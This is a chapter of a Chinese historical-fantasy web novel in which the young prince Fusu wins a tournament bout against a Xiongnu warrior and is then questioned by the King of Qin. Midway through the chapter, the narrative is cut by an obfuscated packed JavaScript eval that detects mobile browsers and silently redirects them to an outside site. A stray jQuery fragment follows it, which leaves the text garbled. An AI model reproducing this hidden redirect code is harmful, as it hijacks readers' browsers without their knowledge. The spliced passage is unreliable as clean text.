21.第 21 章
作品:《二凤魂穿扶苏少年时》 俊朗英武的蒙毅潇洒落在匈奴武士对面,铿锵有力地道:“大秦蒙毅前来应战!”
“哼!又多了一个送死的冤魂。”说罢,匈奴武士便朝着蒙毅印堂穴击去,蒙毅一个后仰,轻松躲开。
匈奴武士继续攻击蒙毅的额前穴、枕骨穴,每一招都欲致人死地。
蒙毅不愧是将门之后,虽常年担任文职,陪伴秦王左右,但却武艺不凡、身姿敏捷,不仅成功躲开匈奴武士的致命攻击,还能与匈奴武士接连过招,让匈奴武士应接不暇。
蒙毅虽年长于扶苏,但其年龄与秦王相当,刚过弱冠而已。
正值年轻气盛、血气方刚,更因深受军人世家保家卫国责任的熏陶,岂能容忍匈奴武士在大秦校场上滥杀四方,便一跃而上,勇挫敌人。
“无愧为蒙家之后呀!以前我一直以为蒙恬是一位武艺出色的将领,想不到他的弟弟亦毫不逊色。”头曼单于忍不住惊叹道。
秦王嬴政听后不置可否,并未多言,一直观察着台上变化。
细致聪明的他很快发现匈奴武士的异常之处,青筋虬结,双目赤红,眼如死灰,一心想嬴......
忽然擂台之上的匈奴武士将缠了几圈的腰带解开,腰带转眼间变成趁手的兵器——一条结实柔韧的长鞭。
‘噼......啪......’
长鞭所过之处,在空中泛起一道明响,震彻人心。
蒙毅上下翻飞,没有兵器在手的他,只能被动躲闪,最后一个不小心,被一鞭抽在后背,蒙毅摔倒后不停翻滚。
由于他今日接待匈奴使臣穿的是锦绣便服,没有铠甲护体,鞭子抽过的地方,衣服炸裂,露出血红的深痕。
匈奴武士没有停手的意思,径直上前,单手掐住蒙毅的脖子,扼住其咽喉,不断发出‘咔嚓咔嚓’的响声,蒙毅脸色憋得通红。
李斯见状,长袖颜面,佯装吃惊,袖子下面的嘴角却高高扬起,露出难以言明的冷笑。
中车府令赵高坐在一旁,眼见此景,不但没有让宫廷卫队上前制止,还不停地用指尖敲打着鎏金座椅扶手,静观事态演变。
蒙恬看到自己亲弟马上要被匈奴武士掐死,顾不得宫廷规矩,拿起旁边侍卫的佩剑就欲上台与匈奴武士拼命。
就在此众人震惊、千钧一发之际,一道漂亮的青影掠过高台,众人定睛一看,不是旁人,正是秦国长公子——少年扶苏。
二凤一袭青衣干净洒脱,清俊的面容之下是少年难以掩饰的愤怒。
“大胆匈奴狂徒,安敢伤我大秦肱骨良臣?!”二凤指着几丧理智的匈奴武士道。
听到二凤的声音,匈奴武士放松力道,直接将蒙毅丢开,转身走向二凤。
蒙恬赶紧将自己弟弟扶到座位上,同时观察着台上二凤的状况,只要长公子一出现意外,他就算没了命也得护他无恙。
“大秦长公子亦想效仿蒙家公子,飞蛾扑火乎?”匈奴武士狂妄地反问道。
观赏台上的秦王嬴政坐不住了,匈奴武士的异状他已察觉,就连蒙毅都不是其敌手,嬴政担心自己爱子扶苏出现什么意外,便连忙制止道:“比武大会到此结束,扶苏赶紧回来!”
“秦王,这扶苏公子才刚上台,比武还未能分出胜负,怎能如此仓促结束?不若多给长公子一些时间,我很想见识一番秦国长公子的武术风采。”头曼单于在一旁制止道。
秦王嬴政剑眉竖起,意欲指出头曼单于的叵测用心,驱逐他们出境,可二凤已经与匈奴武士打了起来,他只能暂时将注意力转到擂台之上。
“休要狂言,看招!”
话音刚落,二凤青影翻飞,武姿翩若惊鸿,一把利剑寒光四闪,在场的人全都看得眼花缭乱。
“想不到长公子年纪轻轻武艺竟如此出众!”
“长公子何止武艺超群,更是智慧卓绝,心慈仁厚。”
“文武双全,出类拔萃,这也太完美了!”
......
就在众人惊叹间,二凤侧身躲过匈奴武士的一计重鞭,足尖踩在擂台栏杆之上,翻身飞跃,直接掠过匈奴武士头顶,最后用剑柄敲打在其百会穴。
匈奴武士虎躯一僵,膝盖亦变得弯软,整个人如同失去支点的石塔一般,轰然倒下。
随着一声沉重的闷响,擂台上的青石裂成蛛网状。
匈奴使团赶紧让人将武士抬了下去。
将闾看到二凤安然无恙,还将刚刚好勇斗狠、嗜杀成性的匈奴武士打败,眼睛里的崇拜之情溢于言表。
“哇!阿兄!你好棒!我家阿兄最厉害了!!......”
秦王嬴政心里亦松了一口气。
此时刚刚离开的头曼单于贴身侍卫已经返回,坐在自己座位上,同时朝着头曼单于点点头。
头曼单于嘴角露出得逞的笑容,适时地恭喜秦王嬴政道:“秦王,我头曼今日可真是佩服得你五体投地呀,不仅佩服你能够将秦国治理得如此强盛,还佩服你有如此优秀且文武双全的儿子,倘若我那犬子冒顿将来能有扶苏公子一半,我内心就会颇感欣慰。”
秦王嬴政看向头曼单于,凌厉的眼神露出不屑。
他从未见过如此心机厚重之外邦首领,明明内心嫉妒得想要杀死扶苏,却仍然在此大言不惭地与自己说一些冠冕堂皇的昧心话。
就在扶苏想要飞上高台之时,刚刚昏迷摔倒的匈奴武士苏醒过来,他环顾四周,最终将目光锁定在二凤身后。
他眼布血丝,愤怒燃烧着他的每一滴血液,顺手从旁边士兵的身上抽出利剑,用力朝着高台上的二凤扔去。
“长公子小心呀!!”
众人惊呼间,利剑朝着二凤身后径直刺去。
蒙恬反应不及,整个人僵站原地,就在利剑欲刺到二凤心脏之时,二凤衣袂翻飞,陡然间,利剑转换了方向,朝着高台之上的头曼单于眉心刺去。
此时轮到所有匈奴使团们惊呼地从椅子上站起,目不转睛地盯着刺向头曼单于的利剑。
头曼单于惊异不已,瞳孔里关于利剑的倒影越来越大,由于力道之大,普通人根本没有反应时间。
就在此时,风驰电掣一般,一只骨节分明、手指修长,稚嫩又有力的手攥住失控的剑刃。
锋利的剑刃将二凤稚嫩的手掌划破,滴滴鲜血顺着指缝落在青衣袂角,然后迅速晕染开来,仿佛绽放的点点红梅一般,格外鲜艳。
“大秦素来注重以礼待客,讲究信义,但倘若有人心藏祸心,谋私惑乱,下场当如此剑!”
话音刚落,二凤就将利剑断为几截。
二凤的话如同寒冰击玉,清脆有声,让头曼单于不禁为之一振。
一旁的秦王嬴政看到扶苏之手鲜血之流,心疼不已,倏然起身,玄色袖袂一翻,指着刚刚出手伤害扶苏的武士道:“比武乱规,其行失德,当众谋害秦国长公子,其心可诛,拉下去,立刻枭首示众!头曼单于,你有什么好说的吗?”
秦王表面上杀的是匈奴武士,实际上打的却是头曼单于的脸,以儆效尤。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16459766|183670||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不过头曼单于并不在乎丝毫,他只关心自己最终得到什么,对于这中间的手段光不光明,磊不磊落,于他而言,如清风拂面一般,满不在乎。
现在的他已经成功拿到了地图,牺牲一个已经失控的武士,无足轻重。
“秦王息怒,都怪我挑选武士不严,这会让刚刚惊险的意外发生,更让扶苏公子受惊了,对于失德武士,自当严惩不贷,立即处死,我挛鞮头曼毫无怨言!”
秦王嬴政看到头曼单于态度还算诚恳,便拂袖离席,二凤、将闾等人紧随其后。
回到殿内,嬴政赶紧让太医夏无且帮二凤包扎。
待包扎完成后,秦王担心地询问道:“感觉怎么样?疼不疼?”
“只是一点皮外伤,没有大碍,父王无需担忧。”二凤答道。
纵然二凤说无碍,但嬴政回想着刚刚惊险的一幕,内心仍然后怕不已。
“日后如此惊险的情况切莫强出头,自有蒙将军他们想办法摆平。”
“知道了,父王,只不过当时实在看不惯匈奴武士残忍手段。”
中车府令赵高站出来道:“说来奇怪了,长公子的武艺一直都是跟蒙将军等人学习,可是刚刚比武擂台之上,蒙毅反倒不如长公子了。”
“扶苏,你刚刚所用的招式跟谁学的,怎么看着不像平时几位老师教授的招法?”秦王嬴政好奇地询问道。
二凤看了一眼赵高,淡定地回复嬴政道:“回父王,儿臣平日除了跟蒙将军他们学习武艺之外,自己也会自创一些招法,我认为真正的招法是没有严格规定的,理应在对战中随机应变。”
“回大王,长公子平日里经常举一反三,有时甚至还会指点我们一二,这可真是教学相长呀!”蒙毅连忙替扶苏说话。
李斯见状,随即附和,“大王,扶苏公子自幼聪慧,青出于蓝而胜于蓝,真乃大秦之幸。”
由于扶苏之前种种超乎常人的天才表现,秦王深以为然。
内心不禁感慨:扶苏,真类寡人年少时!有子如此,夫复何求?
“你们莫要过度夸赞,以免滋生他的骄傲之情,有碍进步。眼下头曼单于名义上愿与大秦交好,但其背地里小动作不断,甚至妄图谋害扶苏,赵高,你定要加强守卫,日夜防范,盯紧他们的一举一动。”
“诺!”赵高领命道。
秦王嬴政看向李斯,“李廷尉,匈奴使团已经连续在大秦待了数日,你派人前往四方馆知会他们,让他们尽快返回匈奴,离开大秦。”
“臣领命!”
这无疑等于给头曼单于等人下了驱逐令,不过这种事情秦王嬴政不可能亲自为之,只能让他们这些做臣子的前去,至于如何讲才能准确又不失体面,这就看李斯的讲话艺术。
“你们都下去吧!”
“诺!”
“扶苏,你留下!”
待李斯、赵高、蒙恬等人离开后,秦王嬴政询问二凤道。
“扶苏,你可知父王留你有何用意?”
二凤思考片刻,虽然心有答案,但事事都说中别人心思倒显得对方没有智慧,不给别人表现的机会。
“儿臣不知。”
“父王年少在赵国受尽苦楚和羞辱,所以深知人心险恶,在这个世道,你无需妄想用仁德感化敌人,因为他们知会得寸进尺,只有实力和律法才是最趁手的武器,对于外人,更要时刻有所防范,知道了吗?”
秦王嬴政放下威严的架子,语重心长,此时此刻的他,比起君王,更像一位慈父。